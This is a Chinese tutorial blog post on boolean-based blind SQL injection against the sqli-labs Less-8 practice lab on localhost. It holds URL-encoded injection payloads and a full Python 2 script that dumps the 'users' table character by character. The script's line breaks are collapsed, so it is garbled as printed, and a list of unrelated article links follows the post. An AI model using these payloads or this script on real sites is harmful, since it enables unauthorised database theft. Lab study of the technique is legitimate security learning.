布尔型单引号GET盲注

发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

0X01爱之先了解

盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122,  0:48, 9:57
那么我们就进行第二步

0X02

首先select database()查询数据库

ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码

ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E64,1,0)%20%23

为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样

正确的时候显示的you are in.... 错误的时候就是什么都显示

猜数据库名第一个字母具体过程,使用二分法

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E96,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E120,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E115,1,0)%20%23返回错误,不大于115,即第一个字母的ascii为115,即字母s
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E111,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E114,1,0)%20%23返回正确,大于114

盲注过程是漫长的,一般是自己写脚本或使用工具辅助

写脚本之前要知道原理,上面的就是原理

下面基于这个学着写了个提取users表数据的完整脚本,大家可以参考下,当然如果大家用sqlmap也可以

import urllib2
import urllibsuccess_str = "You are in"
getTable = "users"index = "0"
url = "http://localhost/sql1/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串    payload:使用的payload    length:猜测的长度
def getLengthResult(payload, string, length):finalUrl = url + urllib.quote(payload % (string, length))res = urllib2.urlopen(finalUrl)if success_str in res.read():return Trueelse:return False# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串    pos:猜测字符串的位置    ascii:猜测的ascii
def getResult(payload, string, pos, ascii):finalUrl = url + urllib.quote(payload % (string, pos, ascii))res = urllib2.urlopen(finalUrl)if success_str in res.read():return Trueelse:return False# 注入
def inject():# 猜数据库长度lengthOfDBName = getLengthOfString(lengthPayload, database)print ("length of DBname: " + str(lengthOfDBName))# 获取数据库名称DBname = getName(asciiPayload, selectDB, lengthOfDBName)print ("current database:" + DBname)# 获取数据库中的表的个数# print selectTableCountPayloadtableCount = getLengthOfString(selectTableCountPayload, DBname)print ("count of talbe:" + str(tableCount))# 获取数据库中的表for i in xrange(0,tableCount):# 第几个表num = str(i)# 获取当前这个表的长度selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehindtableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)print ("current table length:" + str(tableNameLength))# 获取当前这个表的名字selectTableName = selectTable%(DBname, i)tableName = getName(asciiPayload, selectTableName ,tableNameLength)print (tableName)selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"# print selectColumnCountPayload# 获取指定表的列的数量columnCount = getLengthOfString(selectColumnCountPayload, getTable)print ("table:" + getTable + " --count of column:" + str(columnCount))# 获取该表有多少行数据dataCountPayload = "'and (select count(*) from %s)>=%d #"dataCount = getLengthOfString(dataCountPayload, getTable)print ("table:" + getTable + " --count of data: " + str(dataCount))data = []# 获取指定表中的列for i in xrange(0,columnCount):# 获取该列名字长度selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"# print selectColumnNameLengthPayloadcolumnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)print ("current column length:" + str(columnNameLength))# 获取该列的名字selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"selectColumnName = selectColumn%(getTable, i)# print selectColumnNamecolumnName = getName(asciiPayload, selectColumnName ,columnNameLength)print (columnName)tmpData = []tmpData.append(columnName)# 获取该表的数据for j in xrange(0,dataCount):columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"# print columnDataLengthPayloadcolumnDataLength = getLengthOfString(columnDataLengthPayload, getTable)# print columnDataLengthselectData = "select " + columnName + " from users limit " + str(j) + ",1"columnData = getName(asciiPayload, selectData, columnDataLength)# print columnDatatmpData.append(columnData)data.append(tmpData)# print data    # 格式化输出数据# 输出列名tmp = ""for i in xrange(0,len(data)):tmp += data[i][0] + "    "print (tmp)# 输出具体数据for j in xrange(1,dataCount+1):tmp = ""for i in xrange(0,len(data)):tmp += data[i][j] + "    "print (tmp)# 获取字符串的长度
def getLengthOfString(payload, string):# 猜长度lengthLeft = 0lengthRigth = 0guess = 10# 确定长度上限,每次增加5while 1:# 如果长度大于guessif getLengthResult(payload, string, guess) == True:# 猜测值增加5guess = guess + 5    else:lengthRigth = guessbreak# print "lengthRigth: " + str(lengthRigth)# 二分法查长度mid = (lengthLeft + lengthRigth) / 2while lengthLeft < lengthRigth - 1:# 如果长度大于等于mid if getLengthResult(payload, string, mid) == True:# 更新长度的左边界为midlengthLeft = midelse: # 否则就是长度小于mid# 更新长度的右边界为midlengthRigth = mid# 更新中值mid = (lengthLeft + lengthRigth) / 2        # print lengthLeft, lengthRigth# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid# 所以长度区间:大于等于 lengthLeft,小于lengthRigth# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8return lengthLeft# 获取名称
def getName(payload, string, lengthOfString):# 32是空格,是第一个可显示的字符,127是delete,最后一个字符tmp = ''for i in xrange(1,lengthOfString+1):left = 32 right = 127mid = (left + right) / 2while left < right - 1:# 如果该字符串的第i个字符的ascii码大于等于midif getResult(payload, string, i, mid) == True:# 则更新左边界left = midmid = (left + right) / 2else:# 否则该字符串的第i个字符的ascii码小于mid# 则更新右边界right = mid# 更新中值mid = (left + right) / 2tmp += chr(left)# print tmpreturn tmp    def main():inject()
main()

运行结果:

切记 学习之路 无浮躁 少就是多

转载于:https://www.cnblogs.com/-zhong/p/10908673.html

sqli-lab(8)相关推荐

  1. SQLi lab: Equivalent to information schema on Oracle

    对于oracle数据库 '+UNION+SELECT+table_name,NULL+FROM+all_tables-- btw,如果是非oracle数据的库 '+UNION+SELECT+table ...

  2. 各种Web漏洞测试平台

    为什么80%的码农都做不了架构师?>>>    Sqli Lab ​支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和P ...

  3. sqlmap报错注入

    0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型 ...

  4. python sql拼接_python 字典 拼接SQL语句

    def gen_sql(table_name, data): """ :param table_name: 表名称 :param data: 字典对象 key为字段(要与 ...

  5. 《Photoshop Lab修色圣典(修订版)》—第1课1.7节言归正传

    本节书摘来自异步社区<Photoshop Lab修色圣典(修订版)>一书中的第1课1.7节言归正传,作者[美]Dan Margulis,更多章节内容可以访问云栖社区"异步社区&q ...

  6. SPOJ ATOMS - Atoms in the Lab

    题目链接:http://www.spoj.com/problems/ATOMS/ 题目大意:有N个原子,他们每秒分裂成K个新原子,新原子也能继续分裂.问如果要控制他的数量为M以内,应在什么时候使其停止 ...

  7. 如何在Jupyter Lab中显示pyecharts的图形?

    这篇图文是<如何利用pyecharts绘制酷炫的桑基图?>的补充. 在这篇图文中给出的代码是使用pycharm调试的,而自己分享的时候,是使用Jupter Lab. 如果沿用这篇文章的代码 ...

  8. 腾讯首位17级杰出科学家诞生:腾讯AI Lab负责人张正友

    2021年1月8日腾讯宣布,腾讯Robotics X实验室及腾讯AI Lab负责人张正友博士成为腾讯首位17级研究员/杰出科学家,17级是腾讯历史上最高的专业职级. 腾讯AI Lab及腾讯Roboti ...

  9. 360金融首席科学家张家兴:只靠AI Lab做不好AI中台 | 独家专访

    「AI 技术生态论」 人物访谈栏目是 CSDN 发起的百万人学 AI 倡议下的重要组成部分.通过对 AI 生态顶级大咖.创业者.行业 KOL 的访谈,反映其对于行业的思考.未来趋势判断.技术实践,以及 ...

  10. 前腾讯AI Lab负责人张潼加入创新工场,任港科大创新工场联合实验室主任

    参加 2019 Python开发者日,请扫码咨询 ↑↑↑ 整理 | 琥珀 出品 | AI科技大本营(ID:rgznai100) 不过三个月,前腾讯 AI 主任张潼已对外公布了他离职后的新动态. 3 月 ...

最新文章

  1. #Ubuntu 18.04 安装tensorflow-gpu 1.9
  2. IIS 承载的WCF服务失败
  3. 数据库系统概念学习笔记2
  4. 报错解决方案:ERROR: Cython.Build.cythonize not found.
  5. android studio怎样运行uniapp打包项目_uni app系列002:离线打包apk(2)
  6. React开发(258):react项目理解 ant design debug
  7. 开心果 | 即使天天看的图标 你未必都认识
  8. 软件架构(7)---软件架构设计-五视图方法论
  9. 20-172-040-安装-Flink单机安装 flink-1.7.2-bin-hadoop27-scala_2.11
  10. 让51单片机八段数码管亮起来(静态显示和动态显示、共阴极和共阳极、位码和段码)
  11. Python中的正则表达式(re)
  12. 见过最牛的GIF图片。
  13. c语言自学文档,自学c语言(全套资料)
  14. 预测房价实验-房价数据集
  15. 关于系统前端开发的那些事
  16. 什么是加密?什么是md5加密算法?
  17. [原创]续一:WMI进程占用CPU过高,由Alibaba的pcUnitTest.exe文件引起
  18. latex 参考文献显示问号_VS Code + LaTeX
  19. mysql5.7增加ssl认证(1)
  20. linux - nohup 命令 后一按回车就exit

热门文章

  1. PX4飞控控制投放装置
  2. Cobbler详解(五)——cobbler常用命令
  3. 动态路由之RIP综合实验
  4. 杭电计算机17年复试真题详解
  5. Springboot全局异常处理GlobalExceptionHandler
  6. Solidity陷阱:以太坊的随机数生成
  7. idea导入tomcat源码
  8. zabbix安装以及监控(一)
  9. mount error(12): Cannot allocate memory解决办法
  10. replace()替换文字扑获组做法